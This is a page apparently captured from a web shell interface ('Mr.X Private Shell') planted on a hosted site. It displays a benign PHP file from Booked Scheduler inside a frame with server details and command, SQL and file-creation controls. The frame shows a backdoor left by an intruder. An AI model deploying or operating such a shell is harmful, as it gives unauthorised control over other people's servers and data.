Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/old/////booked/lib/WebService/Slim      ( Reset | Go to )
File Name: SlimServiceRegistration.php
Edit
<?php
/**
Copyright 2012-2014 Nick Korbel

This file is part of Booked Scheduler.

Booked Scheduler is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

Booked Scheduler is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with Booked Scheduler.  If not, see <http://www.gnu.org/licenses/>.
 */

class SlimServiceRegistration
{
    
/**
     * @var string
     */
    
protected $route;
    
/**
     * @var mixed
     */
    
protected $callback;
    
/**
     * @var SlimServiceMetadata
     */
    
protected $metadata;
    
/**
     * @var string
     */
    
protected $routeName;

    public function 
__construct($categoryName$route$callback$routeName)
    {
        
$this->route '/' $this->trim($categoryName) . '/' $this->trim($route);
        
$this->callback $callback;
        
$this->metadata = new SlimServiceMetadata($callback);
        
$this->routeName $routeName;
    }

    private function 
trim($str)
    {
        
$s $str;
        
$s trim($s'/');
        
$s trim($s'\\');

        return 
$s;
    }

    
/**
     * @return string
     */
    
public function Route()
    {
        return 
$this->route;
    }

    
/**
     * @return mixed
     */
    
public function Callback()
    {
        return 
$this->callback;
    }

    
/**
     * @return SlimServiceMetadata
     */
    
public function Metadata()
    {
        return 
$this->metadata;
    }

    
/**
     * @return string
     */
    
public function RouteName()
    {
        return 
$this->routeName;
    }

    
/**
     * @return bool
     */
    
public function IsSecure()
    {
        return 
false;
    }

    
/**
     * @return bool
     */
    
public function IsLimitedToAdmin()
    {
        return 
false;
    }
}

class 
SlimSecureServiceRegistration extends SlimServiceRegistration
{
    public function 
IsSecure()
    {
        return 
true;
    }
}

class 
SlimAdminServiceRegistration extends SlimSecureServiceRegistration
{
    public function 
IsLimitedToAdmin()
    {
        return 
true;
    }
}

class 
SlimServiceMetadata
{
    public function 
__construct($callback)
    {
        if (
is_object($callback[0]))
        {
            
$class = new ReflectionClass(get_class($callback[0]));
        }
        else
        {
            
$class = new ReflectionClass($callback[0]);
        }

        
$method $class->getMethod($callback[1]);
        
$doc $this->processPHPDoc($method);

        
$this->name = isset($doc['name']) ? $doc['name'] : null;
        
$this->description = isset($doc['description']) ? $doc['description'] : null;
        
$this->return $doc['response'];
        
$this->request $doc['request'];
    }

    
/**
     * @return string
     */
    
public function Name()
    {
        if (empty(
$this->name))
        {
            return 
'Missing Name';
        }
        return 
$this->name;
    }

    
/**
     * @return string
     */
    
public function Description()
    {
        if (empty(
$this->description))
        {
            return 
'Missing Description';
        }
        return 
$this->description;
    }

    
/**
     * @return object|string|null
     */
    
public function Response()
    {
        if (!
is_null($this->return))
        {
            
$type $this->return['type'];
            if (
class_exists($type))
            {
                if (
method_exists($type'Example'))
                {
                    return 
$type::Example();
                }
                return new 
$type();
            }
            elseif (
$type != 'void')
            {
                return 
$type;
            }
        }

        return 
null;
    }

    
/**
     * @return object|string|null
     */
    
public function Request()
    {
        if (!
is_null($this->request))
        {
            
$type $this->request['type'];
            if (
class_exists($type))
            {
                if (
method_exists($type'Example'))
                {
                    return 
$type::Example();
                }
                return new 
$type();
            }
            else
            {
                return 
$type;
            }
        }

        return 
null;
    }

    private function 
processPHPDoc(ReflectionMethod $reflect)
    {
        
// Credit: http://gonzalo123.com/2011/04/04/reflection-over-phpdoc-with-php/

        
$phpDoc = array('params' => array(), 'response' => null);
        
$docComment $reflect->getDocComment();
        if (
trim($docComment) == '')
        {
            return 
null;
        }
        
$docComment preg_replace('#[ \t]*(?:\/\*\*|\*\/|\*)?[ ]{0,1}(.*)?#''$1'$docComment);
        
$docComment ltrim($docComment"\r\n");
        
$parsedDocComment $docComment;
        
$lineNumber $firstBlandLineEncountered 0;
        while ((
$newlinePos strpos($parsedDocComment"\n")) !== false)
        {
            
$lineNumber++;
            
$line substr($parsedDocComment0$newlinePos);

            
$matches = array();
            if ((
strpos($line'@') === 0) && (preg_match('#^(@\w+.*?)(\n)(?:@|\r?\n|$)#s'$parsedDocComment,
                                                          
$matches))
            )
            {
                
$tagDocblockLine $matches[1];
                
$matches2 = array();

                if (!
preg_match('#^@(\w+)(\s|$)#'$tagDocblockLine$matches2))
                {
                    break;
                }
                
$matches3 = array();
                if (!
preg_match('#^@(\w+)\s+([\w|\\\]+)(?:\s+(\$\S+))?(?:\s+(.*))?#s'$tagDocblockLine$matches3))
                {
                    break;
                }
                if (
$matches3[1] != 'param')
                {
                    
$str strtolower($matches3[1]);
                    if (
$str == 'response')
                    {
                        
$phpDoc['response'] = array('type' => $matches3[2]);
                    }
                    elseif (
strtolower($matches3[1]) == 'request')
                    {
                        
$phpDoc['request'] = array('type' => $matches3[2]);
                    }
                    elseif (
strtolower($matches3[1]) == 'name')
                    {
                        
$phpDoc['name'] = $matches3[2];
                    }
                    elseif (
strtolower($matches3[1]) == 'description')
                    {
                        
$phpDoc['description'] = str_replace('@description '''$matches3[0]);
                    }

                }
                else
                {
                    
$phpDoc['params'][] = array('name' => $matches3[3], 'type' => $matches3[2]);
                }

                
$parsedDocComment str_replace($matches[1] . $matches[2], ''$parsedDocComment);
            }
        }
        return 
$phpDoc;
    }
}

?>

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL